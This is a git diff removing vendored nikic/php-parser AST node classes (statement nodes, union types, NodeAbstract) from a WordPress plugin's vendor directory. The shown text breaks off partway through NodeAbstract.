b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Expression.php deleted file mode 100644 index 89751fa2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Expression.php +++ /dev/null @@ -1,32 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Stmt_Expression'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Finally_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Finally_.php deleted file mode 100644 index 69ecf253..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Finally_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['stmts']; - } - - public function getType(): string { - return 'Stmt_Finally'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/For_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/For_.php deleted file mode 100644 index 6f2fbb9e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/For_.php +++ /dev/null @@ -1,47 +0,0 @@ - array(): Init expressions - * 'cond' => array(): Loop conditions - * 'loop' => array(): Loop expressions - * 'stmts' => array(): Statements - * @param array $attributes Additional attributes - */ - public function __construct(array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->init = $subNodes['init'] ?? []; - $this->cond = $subNodes['cond'] ?? []; - $this->loop = $subNodes['loop'] ?? []; - $this->stmts = $subNodes['stmts'] ?? []; - } - - public function getSubNodeNames(): array { - return ['init', 'cond', 'loop', 'stmts']; - } - - public function getType(): string { - return 'Stmt_For'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Foreach_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Foreach_.php deleted file mode 100644 index c5d9a8b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Foreach_.php +++ /dev/null @@ -1,50 +0,0 @@ - null : Variable to assign key to - * 'byRef' => false : Whether to assign value by reference - * 'stmts' => array(): Statements - * @param array $attributes Additional attributes - */ - public function __construct(Node\Expr $expr, Node\Expr $valueVar, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - $this->keyVar = $subNodes['keyVar'] ?? null; - $this->byRef = $subNodes['byRef'] ?? false; - $this->valueVar = $valueVar; - $this->stmts = $subNodes['stmts'] ?? []; - } - - public function getSubNodeNames(): array { - return ['expr', 'keyVar', 'byRef', 'valueVar', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Foreach'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Function_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Function_.php deleted file mode 100644 index 2111bab7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Function_.php +++ /dev/null @@ -1,81 +0,0 @@ - false : Whether to return by reference - * 'params' => array(): Parameters - * 'returnType' => null : Return type - * 'stmts' => array(): Statements - * 'attrGroups' => array(): PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->byRef = $subNodes['byRef'] ?? false; - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->params = $subNodes['params'] ?? []; - $this->returnType = $subNodes['returnType'] ?? null; - $this->stmts = $subNodes['stmts'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'byRef', 'name', 'params', 'returnType', 'stmts']; - } - - public function returnsByRef(): bool { - return $this->byRef; - } - - public function getParams(): array { - return $this->params; - } - - public function getReturnType() { - return $this->returnType; - } - - public function getAttrGroups(): array { - return $this->attrGroups; - } - - /** @return Node\Stmt[] */ - public function getStmts(): array { - return $this->stmts; - } - - public function getType(): string { - return 'Stmt_Function'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Global_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Global_.php deleted file mode 100644 index d3ab12fc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Global_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $vars, array $attributes = []) { - $this->attributes = $attributes; - $this->vars = $vars; - } - - public function getSubNodeNames(): array { - return ['vars']; - } - - public function getType(): string { - return 'Stmt_Global'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Goto_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Goto_.php deleted file mode 100644 index 26a0d01e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Goto_.php +++ /dev/null @@ -1,30 +0,0 @@ - $attributes Additional attributes - */ - public function __construct($name, array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Identifier($name) : $name; - } - - public function getSubNodeNames(): array { - return ['name']; - } - - public function getType(): string { - return 'Stmt_Goto'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/GroupUse.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/GroupUse.php deleted file mode 100644 index 0ec8e9d4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/GroupUse.php +++ /dev/null @@ -1,41 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Name $prefix, array $uses, int $type = Use_::TYPE_NORMAL, array $attributes = []) { - $this->attributes = $attributes; - $this->type = $type; - $this->prefix = $prefix; - $this->uses = $uses; - } - - public function getSubNodeNames(): array { - return ['type', 'prefix', 'uses']; - } - - public function getType(): string { - return 'Stmt_GroupUse'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/HaltCompiler.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/HaltCompiler.php deleted file mode 100644 index 665bacde..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/HaltCompiler.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(string $remaining, array $attributes = []) { - $this->attributes = $attributes; - $this->remaining = $remaining; - } - - public function getSubNodeNames(): array { - return ['remaining']; - } - - public function getType(): string { - return 'Stmt_HaltCompiler'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/If_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/If_.php deleted file mode 100644 index 544390ff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/If_.php +++ /dev/null @@ -1,46 +0,0 @@ - array(): Statements - * 'elseifs' => array(): Elseif clauses - * 'else' => null : Else clause - * @param array $attributes Additional attributes - */ - public function __construct(Node\Expr $cond, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->stmts = $subNodes['stmts'] ?? []; - $this->elseifs = $subNodes['elseifs'] ?? []; - $this->else = $subNodes['else'] ?? null; - } - - public function getSubNodeNames(): array { - return ['cond', 'stmts', 'elseifs', 'else']; - } - - public function getType(): string { - return 'Stmt_If'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/InlineHTML.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/InlineHTML.php deleted file mode 100644 index 0515d020..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/InlineHTML.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(string $value, array $attributes = []) { - $this->attributes = $attributes; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['value']; - } - - public function getType(): string { - return 'Stmt_InlineHTML'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Interface_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Interface_.php deleted file mode 100644 index 9359064f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Interface_.php +++ /dev/null @@ -1,40 +0,0 @@ - array(): Name of extended interfaces - * 'stmts' => array(): Statements - * 'attrGroups' => array(): PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->extends = $subNodes['extends'] ?? []; - $this->stmts = $subNodes['stmts'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'name', 'extends', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Interface'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Label.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Label.php deleted file mode 100644 index 658468d2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Label.php +++ /dev/null @@ -1,30 +0,0 @@ - $attributes Additional attributes - */ - public function __construct($name, array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Identifier($name) : $name; - } - - public function getSubNodeNames(): array { - return ['name']; - } - - public function getType(): string { - return 'Stmt_Label'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Namespace_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Namespace_.php deleted file mode 100644 index f5b59ad6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Namespace_.php +++ /dev/null @@ -1,37 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Node\Name $name = null, ?array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->name = $name; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['name', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Namespace'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Nop.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Nop.php deleted file mode 100644 index 3acfa46f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Nop.php +++ /dev/null @@ -1,16 +0,0 @@ - $attributes Additional attributes - * @param null|Identifier|Name|ComplexType $type Type declaration - * @param Node\AttributeGroup[] $attrGroups PHP attribute groups - * @param Node\PropertyHook[] $hooks Property hooks - */ - public function __construct(int $flags, array $props, array $attributes = [], ?Node $type = null, array $attrGroups = [], array $hooks = []) { - $this->attributes = $attributes; - $this->flags = $flags; - $this->props = $props; - $this->type = $type; - $this->attrGroups = $attrGroups; - $this->hooks = $hooks; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'flags', 'type', 'props', 'hooks']; - } - - /** - * Whether the property is explicitly or implicitly public. - */ - public function isPublic(): bool { - return ($this->flags & Modifiers::PUBLIC) !== 0 - || ($this->flags & Modifiers::VISIBILITY_MASK) === 0; - } - - /** - * Whether the property is protected. - */ - public function isProtected(): bool { - return (bool) ($this->flags & Modifiers::PROTECTED); - } - - /** - * Whether the property is private. - */ - public function isPrivate(): bool { - return (bool) ($this->flags & Modifiers::PRIVATE); - } - - /** - * Whether the property is static. - */ - public function isStatic(): bool { - return (bool) ($this->flags & Modifiers::STATIC); - } - - /** - * Whether the property is readonly. - */ - public function isReadonly(): bool { - return (bool) ($this->flags & Modifiers::READONLY); - } - - /** - * Whether the property is abstract. - */ - public function isAbstract(): bool { - return (bool) ($this->flags & Modifiers::ABSTRACT); - } - - /** - * Whether the property is final. - */ - public function isFinal(): bool { - return (bool) ($this->flags & Modifiers::FINAL); - } - - /** - * Whether the property has explicit public(set) visibility. - */ - public function isPublicSet(): bool { - return (bool) ($this->flags & Modifiers::PUBLIC_SET); - } - - /** - * Whether the property has explicit protected(set) visibility. - */ - public function isProtectedSet(): bool { - return (bool) ($this->flags & Modifiers::PROTECTED_SET); - } - - /** - * Whether the property has explicit private(set) visibility. - */ - public function isPrivateSet(): bool { - return (bool) ($this->flags & Modifiers::PRIVATE_SET); - } - - public function getType(): string { - return 'Stmt_Property'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/PropertyProperty.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/PropertyProperty.php deleted file mode 100644 index fe7c9973..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/PropertyProperty.php +++ /dev/null @@ -1,13 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Node\Expr $expr = null, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Stmt_Return'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/StaticVar.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/StaticVar.php deleted file mode 100644 index 6775b959..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/StaticVar.php +++ /dev/null @@ -1,11 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $vars, array $attributes = []) { - $this->attributes = $attributes; - $this->vars = $vars; - } - - public function getSubNodeNames(): array { - return ['vars']; - } - - public function getType(): string { - return 'Stmt_Static'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Switch_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Switch_.php deleted file mode 100644 index 21e5efa5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Switch_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $cond, array $cases, array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->cases = $cases; - } - - public function getSubNodeNames(): array { - return ['cond', 'cases']; - } - - public function getType(): string { - return 'Stmt_Switch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUse.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUse.php deleted file mode 100644 index 7705a570..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUse.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $traits, array $adaptations = [], array $attributes = []) { - $this->attributes = $attributes; - $this->traits = $traits; - $this->adaptations = $adaptations; - } - - public function getSubNodeNames(): array { - return ['traits', 'adaptations']; - } - - public function getType(): string { - return 'Stmt_TraitUse'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation.php deleted file mode 100644 index 987bc88e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation.php +++ /dev/null @@ -1,12 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Node\Name $trait, $method, ?int $newModifier, $newName, array $attributes = []) { - $this->attributes = $attributes; - $this->trait = $trait; - $this->method = \is_string($method) ? new Node\Identifier($method) : $method; - $this->newModifier = $newModifier; - $this->newName = \is_string($newName) ? new Node\Identifier($newName) : $newName; - } - - public function getSubNodeNames(): array { - return ['trait', 'method', 'newModifier', 'newName']; - } - - public function getType(): string { - return 'Stmt_TraitUseAdaptation_Alias'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Precedence.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Precedence.php deleted file mode 100644 index 7bc40837..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TraitUseAdaptation/Precedence.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Name $trait, $method, array $insteadof, array $attributes = []) { - $this->attributes = $attributes; - $this->trait = $trait; - $this->method = \is_string($method) ? new Node\Identifier($method) : $method; - $this->insteadof = $insteadof; - } - - public function getSubNodeNames(): array { - return ['trait', 'method', 'insteadof']; - } - - public function getType(): string { - return 'Stmt_TraitUseAdaptation_Precedence'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Trait_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Trait_.php deleted file mode 100644 index 5f2b3307..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Trait_.php +++ /dev/null @@ -1,34 +0,0 @@ - array(): Statements - * 'attrGroups' => array(): PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct($name, array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Node\Identifier($name) : $name; - $this->stmts = $subNodes['stmts'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'name', 'stmts']; - } - - public function getType(): string { - return 'Stmt_Trait'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TryCatch.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TryCatch.php deleted file mode 100644 index 6414c46c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/TryCatch.php +++ /dev/null @@ -1,37 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $stmts, array $catches, ?Finally_ $finally = null, array $attributes = []) { - $this->attributes = $attributes; - $this->stmts = $stmts; - $this->catches = $catches; - $this->finally = $finally; - } - - public function getSubNodeNames(): array { - return ['stmts', 'catches', 'finally']; - } - - public function getType(): string { - return 'Stmt_TryCatch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Unset_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Unset_.php deleted file mode 100644 index c211beb0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/Unset_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $vars, array $attributes = []) { - $this->attributes = $attributes; - $this->vars = $vars; - } - - public function getSubNodeNames(): array { - return ['vars']; - } - - public function getType(): string { - return 'Stmt_Unset'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/UseUse.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/UseUse.php deleted file mode 100644 index b14fbd6e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/UseUse.php +++ /dev/null @@ -1,13 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $uses, int $type = self::TYPE_NORMAL, array $attributes = []) { - $this->attributes = $attributes; - $this->type = $type; - $this->uses = $uses; - } - - public function getSubNodeNames(): array { - return ['type', 'uses']; - } - - public function getType(): string { - return 'Stmt_Use'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/While_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/While_.php deleted file mode 100644 index 2f7aed23..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Stmt/While_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $cond, array $stmts = [], array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->stmts = $stmts; - } - - public function getSubNodeNames(): array { - return ['cond', 'stmts']; - } - - public function getType(): string { - return 'Stmt_While'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UnionType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UnionType.php deleted file mode 100644 index bad88d2b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UnionType.php +++ /dev/null @@ -1,27 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $types, array $attributes = []) { - $this->attributes = $attributes; - $this->types = $types; - } - - public function getSubNodeNames(): array { - return ['types']; - } - - public function getType(): string { - return 'UnionType'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UseItem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UseItem.php deleted file mode 100644 index a7d9fc44..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/UseItem.php +++ /dev/null @@ -1,55 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Name $name, $alias = null, int $type = Use_::TYPE_UNKNOWN, array $attributes = []) { - $this->attributes = $attributes; - $this->type = $type; - $this->name = $name; - $this->alias = \is_string($alias) ? new Identifier($alias) : $alias; - } - - public function getSubNodeNames(): array { - return ['type', 'name', 'alias']; - } - - /** - * Get alias. If not explicitly given this is the last component of the used name. - */ - public function getAlias(): Identifier { - if (null !== $this->alias) { - return $this->alias; - } - - return new Identifier($this->name->getLast()); - } - - public function getType(): string { - return 'UseItem'; - } -} - -// @deprecated compatibility alias -class_alias(UseItem::class, Stmt\UseUse::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/VarLikeIdentifier.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/VarLikeIdentifier.php deleted file mode 100644 index 9baa6fe0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/VarLikeIdentifier.php +++ /dev/null @@ -1,16 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $attributes = []) { - $this->attributes = $attributes; - } - - public function getType(): string { - return 'VariadicPlaceholder'; - } - - public function getSubNodeNames(): array { - return []; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeAbstract.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeAbstract.php deleted file mode 100644 index a6a50aea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/NodeAbstract.php +++ /dev/null @@ -1,181 +0,0 @@ - Attributes */ - protected array $attributes; - - /** - * Creates a Node. - * - * @param array $attributes Array of attributes - */ - public function __construct(array $attributes = []) { - $this->attributes = $attributes; - } - - /** - * Gets line the node started in (alias of getStartLine). - * - * @return int Start line (or -1 if not available) - * @phpstan-return -1|positive-int - */ - public function getLine(): int { - return $this->attributes['startLine'] ?? -1; - } - - /** - * Gets line the node started in. - * - * Requires the 'startLine' attribute to be enabled in the lexer (enabled by default). - * - * @return int Start line (or -1 if not available) - * @phpstan-return -1|positive-int - */ - public function getStartLine(): int { - return $this->attributes['startLine'] ?? -1; - } - - /** - * Gets the line the node ended in. - * - * Requires the 'endLine' attribute to be enabled in the lexer (enabled by default). - * - * @return int End line (or -1 if not available) - * @phpstan-return -1|positive-int - */ - public function getEndLine(): int { - return $this->attributes['endLine'] ?? -1; - } - - /** - * Gets the token offset of the first token that is part of this node. - * - * The offset is an index into the array returned by Lexer::getTokens(). - * - * Requires the 'startTokenPos' attribute to be enabled in the lexer (DISABLED by default). - * - * @return int Token start position (or -1 if not available) - */ - public function getStartTokenPos(): int { - return $this->attributes['startTokenPos'] ?? -1; - } - - /** - * Gets the token offset of the last token that is part of this node. - * - * The offset is an index into the array returned by Lexer::getTokens(). - * - * Requires the 'endTokenPos' attribute to be enabled in the lexer (DISABLED by default). - * - * @return int Token end position (or -1 if not available) - */ - public function getEndTokenPos(): int { - return $this->attributes['endTokenPos'] ?? -1; - } - - /** - * Gets the file offset of the first character that is part of this node. - * - * Requires the 'startFilePos' attribute to be enabled in the lexer (DISABLED by default). - * - * @return int File start position (or -1 if not available) - */ - public function getStartFilePos(): int { - return $this->attributes['startFilePos'] ?? -1; - } - - /** - * Gets the file offset of the last character that is part of this node. - * - * Requires the 'endFilePos' attribute to be enabled in the lexer (DISABLED by default). - * - * @return int File end position (or -1 if not available) - */ - public function getEndFilePos(): int { - return $this->attributes['endFilePos'] ?? -1; - } - - /** - * Gets all comments directly preceding this node. - * - * The comments are also available through the "comments" attribute. - * - * @return Comment[] - */ - public function getComments(): array { - return $this->attributes['comments'] ?? []; - } - - /** - * Gets the doc comment of the node. - * - * @return null|Comment\Doc Doc comment object or null - */ - public function getDocComment(): ?Comment\Doc { - $comments = $this->getComments(); - for ($i = count($comments) - 1; $i >= 0; $i--) { - $comment = $comments[$i]; - if ($comment instanceof Comment\Doc) { - return $comment; - } - } - - return null; - } - - /** - * Sets the doc comment of the node. - * - * This will either replace an existing doc comment or add it to the comments array. - * - * @param Comment\Doc $docComment Doc comment to set - */ - public function setDocComment(Comment\Doc $docComment): void { - $comments = $this->getComments(); - for ($i = count($comments) 